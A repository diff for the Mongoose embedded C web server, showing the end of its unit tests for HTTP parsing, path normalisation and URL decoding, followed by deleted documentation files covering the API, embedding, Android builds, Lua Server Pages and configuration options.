char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
ASSERT(get_request_len("\r\n", 3) == -1);
ASSERT(get_request_len("\r\n", 2) == 0);
ASSERT(get_request_len("GET", 3) == 0);
ASSERT(get_request_len("\n\n", 2) == 2);
ASSERT(get_request_len("\n\r\n", 3) == 3);
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
ASSERT(get_request_len("\xdd\x03", 2) == -1);
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
ASSERT(ri.num_headers == 1);
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
ASSERT(parse_http_message(req6, 0, &ri) == -1);
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
// TODO(lsm): Fix this. Header value may span multiple lines.
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
ASSERT(strcmp(ri.request_method, "GET") == 0);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
return NULL;
}
static const char *test_should_keep_alive(void) {
struct mg_connection conn;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
ASSERT(should_keep_alive(&conn) != 0);
parse_http_message(req2, sizeof(req2) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req3, sizeof(req3) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req4, sizeof(req4) - 1, &conn);
ASSERT(should_keep_alive(&conn) != 0);
return NULL;
}
static const char *test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
return NULL;
}
static const char *test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
return NULL;
}
static const char *test_get_var(void) {
static const char *post[] = {
"a=1&&b=2&d&=&c=3%20&e=",
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
NULL
};
char buf[20];
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
return NULL;
}
static const char *test_url_decode(void) {
char buf[100];
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
ASSERT(strcmp(buf, "foo") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
ASSERT(strcmp(buf, "a+") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "a ") == 0);
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "%") == 0);
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "%6") == 0);
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "a") == 0);
return NULL;
}
static const char *test_to64(void) {
ASSERT(to64("0") == 0);
ASSERT(to64("") == 0);
ASSERT(to64("123") == 123);
ASSERT(to64("-34") == -34);
ASSERT(to64("3566626116") == 3566626116);
return NULL;
}
static const char *test_parse_port_string(void) {
static const char *valid[] = {
"1", "1.2.3.4:1",
#if defined(USE_IPV6)
"[::1]:123", "[3ffe:2a00:100:7031::1]:900",
#endif
NULL
};
static const char *invalid[] = {
"0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
};
union socket_address sa;
int i;
for (i = 0; valid[i] != NULL; i++) {
ASSERT(parse_port_string(valid[i], &sa) != 0);
}
for (i = 0; invalid[i] != NULL; i++) {
ASSERT(parse_port_string(invalid[i], &sa) == 0);
}
return NULL;
}
static const char *test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
ASSERT(!strcmp(buf, out[i]));
}
return NULL;
}
static const char *test_mg_parse_header(void) {
const char *str = "xx=1 kl yy, ert=234 kl=123, "
"ii=\"12\\\"34\" zz='aa bb', gf=\"xx d=1234";
char buf[10];
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "234") == 0);
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "aa bb") == 0);
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
ASSERT(strcmp(buf, "1234") == 0);
buf[0] = 'x';
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "123") == 0);
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "12\"34") == 0);
return NULL;
}
static const char *test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
return NULL;
}
static int cb1(struct mg_connection *conn) {
// We're not sending HTTP headers here, to make testing easier
mg_printf(conn, "%s %s %s",
conn->server_param == NULL ? "?" : (char *) conn->server_param,
conn->connection_param == NULL ? "?" : "!", conn->remote_ip);
return 1;
}
static const char *test_regular_file(void) {
static const char *fname = "main.c";
int reply_len, file_len;
char *reply, *file_data;
file_stat_t st;
ASSERT(stat(fname, &st) == 0);
ASSERT(st.st_size > 0);
ASSERT((file_data = read_file(fname, &file_len)) != NULL);
ASSERT(file_len == st.st_size);
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len,
"GET /%s.c HTTP/1.0\r\n\r\n", fname);
ASSERT(reply != NULL);
ASSERT(reply_len > 0);
// TODO(lsm): test headers and content
free(reply);
free(file_data);
return NULL;
}
static const char *test_server_param(void) {
int reply_len;
char *reply;
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s",
"GET /cb1 HTTP/1.0\r\n\r\n");
ASSERT(reply != NULL);
ASSERT(reply_len == 15);
// cb1() does not send HTTP headers
ASSERT(memcmp(reply, "foo ? 127.0.0.1", 5) == 0);
//printf("%d [%.*s]\n", reply_len, reply_len, reply);
free(reply);
return NULL;
}
static void *server_thread(void *param) {
int i;
for (i = 0; i < 10; i++) mg_poll_server((struct mg_server *) param, 1);
return NULL;
}
static const char *test_server(void) {
struct mg_server *server = mg_create_server("foo");
ASSERT(server != NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
mg_add_uri_handler(server, "/cb1", cb1);
mg_start_thread(server_thread, server);
RUN_TEST(test_regular_file);
RUN_TEST(test_server_param);
// TODO(lsm): come up with a better way of thread sync
sleep(1);
mg_destroy_server(&server);
ASSERT(server == NULL);
return NULL;
}
static const char *run_all_tests(void) {
RUN_TEST(test_should_keep_alive);
RUN_TEST(test_match_prefix);
RUN_TEST(test_remove_double_dots);
RUN_TEST(test_parse_http_message);
RUN_TEST(test_parse_port_string);
RUN_TEST(test_to64);
RUN_TEST(test_url_decode);
RUN_TEST(test_base64_encode);
RUN_TEST(test_mg_parse_header);
RUN_TEST(test_get_var);
RUN_TEST(test_next_option);
RUN_TEST(test_server);
return NULL;
}
int __cdecl main(void) {
const char *fail_msg = run_all_tests();
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
}
-9
View File
@@ -1,9 +0,0 @@
<html>
<form method="post">
<input name="x" type="text" />
<input type="submit" />
</form>
<? echo $_POST["x"]; ?>
</html>
-185
View File
@@ -1,185 +0,0 @@
# Mongoose API Reference
struct mg_server *mg_create_server(void *server_param);
Creates web server instance. Returns opaque instance pointer, or NULL if
there is not enough memory. `server_param`: Could be any pointer, or NULL.
This pointer will be passed
to the callback functions as `struct mg_connection::server_param` field.
A common use case is to pass `this` pointer of the C++ wrapper class
as `user_param`, to let the callback get the pointer to the C++
object.
Note that this function doesn't make the
server instance to serve. Serving is done by `mg_poll_server()` function.
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
When server instance is created, it contains an information about
the configuration and the state of each connection.
Server instance is capable on listening on only one port. After creation,
`struct mg_server` has a list
of active connections, initially empty. It has a list of URI handlers,
initially empty, and configuration parameters. Configuration can be
altered by `mg_set_option()`, and new URI handlers could be added by
`mg_add_uri_handler()`.
Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
processing is required SIGPIPE, signal handler must be set up after
calling `mg_create_server()`.
Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
`SIGCHLD` handler must be set up to reap CGI zombie processes.
void mg_destroy_server(struct mg_server **server);
Deallocates web server instance, closes all pending connections, and makes
server pointer a NULL pointer.
const char mg_set_option(struct mg_server *server, const char *name,
const char *value);
Sets a particular server option. Please refer to a separate documentation page
that lists all available option names. Note that at least one option,
`listening_port`, must be specified. To serve static files, `document_root`
must be specified too. If `document_root` option is left unset, Mongoose
will not access filesystem at all. This function returns NULL if option was
set successfully, otherwise it returns human-readable error string. It is
allowed to call `mg_set_option()` by the same thread that does
`mg_poll_server()` (an IO thread) and change server configuration while it
is serving, in between `mg_poll_server()` calls.
void mg_poll_server(struct mg_server *server, int milliseconds);
This function performs one iteration of IO loop by iterating over all
active connections, performing `select()` syscall on all sockets, and sleeping
for `milliseconds` number of milliseconds. When `select()` returns, Mongoose
does an IO for each socket that has data to be sent or received. Application
code must call `mg_poll_server()` in a loop. It is an error to have more then
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
that take `struct mg_server *` parameter. Mongoose does not
mutex-protect `struct mg_server *`, therefore the best practice is
to call server management functions from the same thread (an IO thread).
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
Adds an URI handler. If Mongoose gets a request and request's URI starts
with `uri`, then specified handler is called to serve the request. Thus, an
`uri` is a match prefix. For example, if `uri` is "/", then all requests will
be routed to the handler, because all URIs start with `/` character.
When mongoose buffers in HTTP request and successfully parses it, it calls
appropriate URI handler immediately for GET requests. For POST requests,
Mongoose delays the call until the whole POST request is buffered in memory.
POST data is available to the callback as `struct mg_connection::content`,
and POST data length is in `struct mg_connection::content_len`.
Note that websocket connections are treated the same way. Mongoose buffers
websocket frame in memory, and calls URI handler when frame is fully
buffered. Frame data is available `struct mg_connection::content`, and
data length is in `struct mg_connection::content_len`, i.e. very similar to
the POST request. `struct mg_connection::is_websocket` flag indicates
whether the request is websocket or not. Also, for websocket requests,
there is `struct mg_connection::wsbits` field which contains first byte
of the websocket frame which URI handler can examine. Note that to
reply to the websocket client, `mg_websocket_write()` should be used.
To reply to the plain HTTP client, `mg_write()` should be used.
void mg_set_http_error_handler(struct mg_server *, mg_handler_t);
Adds HTTP error handler. An actual HTTP error is passed as
`struct mg_connection::status_code` parameter. If handler returns 0, it
means a handler has not processed the connection, and mongoose proceeds
with sending HTTP error to the client. Otherwise, mongoose does nothing.
const char **mg_get_valid_option_names(void);
Returns a NULL-terminated array of option names and their default values.
There are two entries per option in an array: an option name followed by a
default value. A default value could be NULL. A NULL name indicates an end
of the array.
const char *mg_get_option(const struct mg_server *server, const char *name);
Returns the value of particular configuration parameter. If
given parameter name is not valid, NULL is returned. For valid names, return
value is guaranteed to be non-NULL. If parameter is not set, zero-length string
is returned.
int mg_iterate_over_connections(struct mg_server *,
void (*func)(struct mg_connection *, void *),
void *param);
This is an interface primarily designed to push arbitrary data to websocket
connections at any time. This function could be called from any thread. When
it returns, an IO thread called `func()` on each active connection,
passing `param` as an extra parameter. It is allowed to call `mg_send_data()` or
`mg_websocket_write()` within a callback, cause `func` is executed in the
context of the IO thread.
void mg_send_status(struct mg_connection *, int status_code);
void mg_send_header(struct mg_connection *, const char *name,
const char *value);
void mg_send_data(struct mg_connection *, const void *data, int data_len);
void mg_printf_data(struct mg_connection *, const char *format, ...);
These functions are used to construct a response to the client. HTTP response
consists of three parts: a status line, zero or more HTTP headers,
a response body. Mongoose provides functions for all three parts:
* `mg_send_status()` is used to create status line. This function can be
called zero or once. If `mg_send_status()` is not called, then Mongoose
will send status 200 (success) implicitly.
* `mg_send_header()` adds HTTP header to the response. This function could
be called zero or more times.
* `mg_send_data()` and `mg_printf_data()` are used to send data to the
client. Note that Mongoose adds `Transfer-Encoding: chunked` header
implicitly, and sends data in chunks. Therefore, it is not necessary to
set `Content-Length` header.
<!-- -->
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len);
Similar to `mg_write()`, but wraps the data into a websocket frame with a
given websocket `opcode`. This function is available when mongoose is
compiled with `-DUSE_WEBSOCKET`.
const char *mg_get_header(const struct mg_connection *, const char *name);
Get the value of particular HTTP header. This is a helper function.
It traverses http_headers array, and if the header is present in the array,
returns its value. If it is not present, NULL is returned.
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
Gets HTTP form variable. Both POST buffer and query string are inspected.
Form variable is url-decoded and written to the buffer. On success, this
function returns the length of decoded variable. On error, -1 is returned if
variable not found, and -2 is returned if destination buffer is too small
to hold the variable. Destination buffer is guaranteed to be
'\0' - terminated if it is not NULL or zero length.
int mg_parse_header(const char *hdr, const char *var_name, char *buf,
size_t buf_size);
This function parses HTTP header and fetches given variable's value in a buffer.
A header should be like `x=123, y=345, z="other value"`. This function is
designed to parse Cookie headers, Authorization headers, and similar. Returns
the length of the fetched value, or 0 if variable not found.
int mg_modify_passwords_file(const char *passwords_file_name,
const char *domain,
const char *user,
const char *password);
Add, edit or delete the entry in the passwords file.
This function allows an application to manipulate .htpasswd files on the
fly by adding, deleting and changing user records. This is one of the
several ways of implementing authentication on the server side. For another,
cookie-based way please refer to the examples/chat.c in the source tree.
If password is not NULL, entry is added (or modified if already exists).
If password is NULL, entry is deleted.
Return: 1 on success, 0 on error.
-27
View File
@@ -1,27 +0,0 @@
# Mongoose Build on Android
This is a small guide to help you run mongoose on Android. Currently it is
tested on the HTC Wildfire. If you have managed to run it on other devices
as well, please comment or drop an email in the mailing list.
Note : You dont need root access to run mongoose on Android.
- Clone Mongoose Git repo
- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/build`
That should generate mongoose/lib/armeabi/mongoose
- Using the adb tool (you need to have Android SDK installed for that),
push the generated mongoose binary to `/data/local` folder on device.
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
- To test if the server is running fine, visit your web-browser and
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
![screenshot](https://a248.e.akamai.net/camo.github.com/b88428bf009a2b6141000937ab684e04cc8586af/687474703a2f2f692e696d6775722e636f6d2f62676f6b702e706e67)
Notes:
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
to know how to interact with the native C functions of mongoose in Android
Java applications.
- TODO: A Java application that interacts with the native binary or a
shared library.
-95
View File
@@ -1,95 +0,0 @@
# Mongoose Embedding Guide
Embedding Mongoose is done in two steps:
1. Copy
[mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
[mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
to your application's source tree and include them in the build.
2. Somewhere in the application code, call `mg_create_server()` to create
a server, configure it with `mg_set_option()` and loop with
`mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
Here's a minimal application `app.c` that embeds mongoose:
#include "mongoose.h"
int main(void) {
struct mg_server *server = mg_create_server(NULL);
mg_set_option(server, "document_root", ".");
mg_set_option(server, "listening_port", "8080");
for (;;) mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
mg_destroy_server(&server);
return 0;
}
To compile it, put `mongoose.c`, `mongoose.h` and `minimal.c` into one
folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
and run the following command:
cc app.c mongoose.c -o app # on Unix
cl app.c mongoose.c /TC /MD # on Windows
When run, this simple application opens port 8080 and serves static files,
CGI files and lists directory content in the current working directory.
Mongoose can call user-defined functions when certain URIs are requested.
These functions are _called uri handlers_. `mg_add_uri_handler()` registers
an URI handler, and there is no restriction exist on the number of URI handlers.
Also, mongoose can call a user-defined function when it is about to send
HTTP error back to client. That function is called _http error handler_ and
can be registered by `mg_set_http_error_handler()`. Handlers are called
by Mongoose with `struct mg_connection *` pointer as a parameter, which
has all information about the request: HTTP headers, POST or websocket
data buffer, etcetera.
Let's extend our minimal application example and
create an URI that will be served by user's C code. The app will handle
`/hello` URI by showing a hello message. So, when app is run,
http://127.0.0.1:8080/hello will say hello, and here's the code:
#include <string.h>
#include "mongoose.h"
static int handle_hello(struct mg_connection *conn) {
static const char *reply = "Hello world!\n";
mg_write_data(conn, reply, strlen(reply));
return 1;
}
int main(void) {
struct mg_server *server = mg_create_server(NULL);
mg_set_option(server, "document_root", ".");
mg_set_option(server, "listening_port", "8080");
mg_add_uri_handler(server, "/hello", &handle_hello);
for (;;) mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
mg_destroy_server(&server);
return 0;
}
Below is the list of compilation flags that enable or disable certain
features. By default, some features are enabled, and could be disabled
by setting appropriate `NO_*` flag. Features that are disabled by default
could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
a couple of kilobytes to the executable size, and also has some runtime penalty.
-DNO_AUTH Disable MD5 authorization support
-DNO_CGI Disable CGI support
-DNO_DAV Disable WebDAV support (PUT, DELETE, MKCOL, PROPFIND)
-DNO_DIRECTORY_LISTING Disable directory listing
-DNO_LOGGING Disable access/error logging
-DNO_WEBSOCKET Disable WebSocket support
-DUSE_IPV6 Enable IPv6 support
-DUSE_LUA Enable Lua scripting
-DUSE_LUA_SQLITE3 Enable sqlite3 binding for Lua
-DUSE_SSL Enable SSL
-DUSE_POST_SIZE_LIMIT=X POST requests larger than X will be rejected
-DUSE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers for static files
Mongoose source code contains a well-commented example code, listed below:
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
is a minimalisting hello world example
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to handle form input
-23
View File
@@ -1,23 +0,0 @@
# Mongoose FAQ
### PHP doesn't work: getting empty page, or 'File not found' error
The reason for that is wrong paths to the interpreter. Remember that with PHP,
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
full path to the PHP interpreter, e.g.:
mongoose -cgi_interpreter /full/path/to/php-cgi
### Mongoose fails to start
If Mongoose exits immediately when run, this
usually indicates a syntax error in the configuration file
(named `mongoose.conf` by default) or the command-line arguments.
Syntax checking is omitted from Mongoose to keep its size low. However,
the Manual should be of help. Note: the syntax changes from time to time,
so updating the config file might be necessary after executable update.
### Embedding with OpenSSL on Windows might fail because of calling convention
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
flag to the Visual Studio project settings.
-21
View File
@@ -1,21 +0,0 @@
# Mongoose Internals
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
When mongoose server instance is created, it contains an information about
the configuration and the state of each connection:
struct mg_server {
sock_t listening_sock; // Listening socket
union socket_address lsa; // Listening socket address
struct linked_list_link active_connections;
struct linked_list_link uri_handlers;
char *config_options[NUM_OPTIONS];
...
};
A server instance is capable on listening on only one port. After creation,
a server instance has a list
of active connections, initially empty. It has a list of URI handlers,
initially empty, and configuration parameters. Configuration can be
altered by `mg_set_option()`, and new URI handlers could be added by
`mg_add_uri_handler()`.
-59
View File
@@ -1,59 +0,0 @@
# Mongoose Lua Server Pages
Pre-built Windows and Mac mongoose binaries support Lua Server Pages
functionality.
That means it is possible to write PHP-like scripts with mongoose
using Lua programming language instead of PHP. Lua is known
for it's speed and small size. Mongoose uses Lua version 5.2.1, the
documentation for it can be found at
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
To create a Lua Page, make a file that is called `<something>.lp`. For example,
let's say it is going to be `my_page.lp`. It is important to have a file
name that ends up with `.lp`, cause this is the way mongoose recognises
Lua Page file. The contents of the file, just like
with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
`<? ?>` blocks, and can appear anywhere on the page.
Mongoose does not send HTTP headers for Lua pages. Therefore,
every Lua Page must begin with HTTP status line and headers, like this:
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
<html><body>
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
</body></html>
Note that this example uses function `mg.write()`, which prints data to the
web page. Using function `mg.write()` is the way to generate web content from
inside Lua code. In addition to `mg.write()`, all standard library functions
are accessible from the Lua code (please check reference manual for details).
Information about the request is available in `mg.request_info` object.
I contains request method, all headers, etcetera. Please refer to
`struct mg_request_info` definition in
[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
to see what is available in `mg.request_info`. Also,
[page.lp](https://github.com/cesanta/mongoose/blob/master/test/page.lp) and
[prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp)
contain some example code that uses `request_info` and other functions,
like form submission.
Mongoose exports the following to the Lua server page:
mg.write(str) -- writes string to the client
mg.onerror(msg) -- error handler, can be overridden
mg.request_info -- a table with request information
sqlite3 -- Sqlite3 interface
slite3 functions are documented at [lua.sqlite.org](http://lua.sqlite.org/),
and usage example is at
[page.lp](https://github.com/cesanta/mongoose/blob/master/test/page.lp).
Using Lua scripting it is easy to emulate SSI functionality. For example,
to include the content of another file, one can write:
<? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
To serve a Lua Page, mongoose creates Lua context. That context is used for
all Lua blocks within the page. That means, all Lua blocks on the same page
share the same context. If one block defines a variable, for example, that
variable is visible in the block that follows.
-134
View File
@@ -1,134 +0,0 @@
# Mongoose Configuration Options
### access\_control\_list
An Access Control List (ACL) allows restrictions to be put on the list of IP
addresses which have access to the web server. In the case of the Mongoose
web server, the ACL is a comma separated list of IP subnets, where each
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
this means to deny only that single IP address.
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
all accesses. On each request the full list is traversed, and
the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except from 192.168/16 subnet. To learn
more about subnet masks, see the
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
Default: not set, all accesses are allowed.
### access\_log\_file
Path to a file for access logs. Either full path, or relative to the
mongoose executable. Default: not set, no query logging is done.
### auth_domain
Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
### cgi_interpreter
Path to an executable to use as CGI interpreter for __all__ CGI scripts
regardless script extension.
for an interpreter. Default: not set, Mongoose looks at
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
For example, if both PHP and perl CGIs are used, then
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
respective CGI scripts. Note that paths should be either full file paths,
or file paths relative to the directory where mongoose server is located.
If all CGIs use the same interpreter, for example they are all PHP, then
`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
shebang line in the CGI scripts can be omitted.
Note that PHP scripts must use `php-cgi.exe` executable, not `php.exe`.
### cgi_pattern
All files that match `cgi_pattern` are treated as CGI files. Default pattern
allows CGI files be anywhere. To restrict CGIs to a certain directory,
use `/path/to/cgi-bin/**.cgi` as pattern. Note that full file path is
matched against the pattern, not the URI. Note: if `MONGOOSE_CGI` environment
variable is set, then Mongoose passes it to the CGI script.
Default: `**.cgi$|**.pl$|**.php$`
### dav\_auth\_file
Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
The format of that file is the same as for the `.htpasswd` file
used for digest authentication. It can be created and managed by
`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
### document_root
A directory to serve. Default: current working directory.
### enable\_directory\_listing
Enable directory listing, either `yes` or `no`. Default: `yes`.
### error\_log\_file
Path to a file for error logs. Either full path, or relative to the
mongoose executable. Default: not set, no errors are logged.
### extra\_mime\_types
Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
Extension must include dot. Example:
`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
### global\_auth\_file
Path to a global passwords file, either full path or relative to the mongoose
executable. If set, per-directory `.htpasswd` files are ignored,
and all requests are authorised against that file. Use `mongoose -A` to
manage passwords, or third party utilities like
[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
